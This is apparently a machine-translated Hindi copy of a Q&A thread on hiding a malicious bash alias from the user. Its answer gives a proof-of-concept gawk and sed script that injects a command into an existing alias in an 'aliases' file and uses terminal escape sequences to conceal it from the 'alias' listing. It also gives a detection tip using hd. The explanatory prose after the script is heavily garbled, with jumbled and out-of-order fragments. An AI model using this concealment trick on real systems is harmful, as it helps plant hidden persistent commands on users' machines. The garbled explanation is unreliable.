क्या लिनक्स सिस्टम पर बैश में एक दुर्भावनापूर्ण उपनाम के अस्तित्व को छिपाना संभव है और क्या यह उपयोगकर्ता द्वारा उनकी जानकारी के बिना निष्पादित किया गया है?
क्या लिनक्स सिस्टम पर बैश में एक दुर्भावनापूर्ण उपनाम के अस्तित्व को छिपाना संभव है और क्या यह उपयोगकर्ता द्वारा उनकी जानकारी के बिना निष्पादित किया गया है?
जवाबों:
यह संभव है कि दुर्भावनापूर्ण एक पर मौजूदा उपनाम को जोड़कर और कर्सर आंदोलन का उपयोग करके इसे छिपाने के लिए यदि aliasकमांड का उपयोग उपनाम की परिभाषाओं को प्रदर्शित करने के लिए किया जाता है। यह पूरी तरह से मूर्खतापूर्ण तरीका नहीं है, लेकिन यह थोड़ी देर के लिए चल सकता है। के aliasमाध्यम से पाइपिंग hdआपको दिखाएगा कि आपके उपनाम में कोई एस्केप सीक्वेंस (कर्सर आंदोलन) हैं या नहीं। यहाँ एक दुर्भावनापूर्ण आदेश को एक उपनाम में कैसे डाला जा सकता है, इसके लिए अवधारणा का एक प्रमाण है:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sedआदेश संशोधित एक फ़ाइल जगह में "अन्य नामों" कहा जाता है - इस प्रकार के कोई वास्तविक स्क्रिप्ट गले के लिए जाने के लिए और इसलिए दुर्भावनापूर्ण उर्फ अगली बार जब यह मार डाला है सक्रिय हो जाएगा कोई वास्तविक स्क्रिप्ट फ़ाइल को संशोधित करेगा।hideको एक तर्क की सामग्री के साथ निष्पादित किया जाएगा ताकि यह अनुमान योग्य हो कि आपको इस प्रश्न में रिपोर्ट की गई के समान त्रुटि मिल सकती है । इसे प्रभावित करने के लिए मूल और दुर्भावनापूर्ण भागों को उल्टा करना संभव हो सकता है, हालांकि यह उर्फ को प्रदान किए जा रहे तर्कों के साथ हस्तक्षेप करेगा। तर्कों के अंत को चिह्नित करने के लिए ऊपर की स्क्रिप्ट में एक प्रयास किया गया है --।&&, आप अगले एक को पाइप कर सकते हैं और दुर्भावनापूर्ण स्क्रिप्ट (सरल echoकमांड द्वारा ऊपर दर्शाया गया है ) फ़ंक्शन को डेटा को संशोधित करने के stdinलिए stdoutपास-थ्रू के रूप में या तो इसे पार करने या इसे छिपाने के लिए कर सकते हैं। अन्य पुनर्निर्देशन में हस्तक्षेप न करके आगे अस्तित्वhideस्ट्रिंग बहुत अलग कर्सर आंदोलन और मूल उर्फ का पाठ शामिल करने के लिए संशोधित किया जा सकता है aliasआदेश दुर्भावनापूर्ण भाग के साथ-साथ यह छुपा के बजाय असंशोधित उर्फ दिखाने के लिए प्रकट होता है।. aliases। फिर आप प्रभावित उपनाम का उपयोग करने की कोशिश कर सकते हैं और देख सकते हैं कि जब आप ऐसा करते हैं तो यह कैसा दिखता है alias|hd।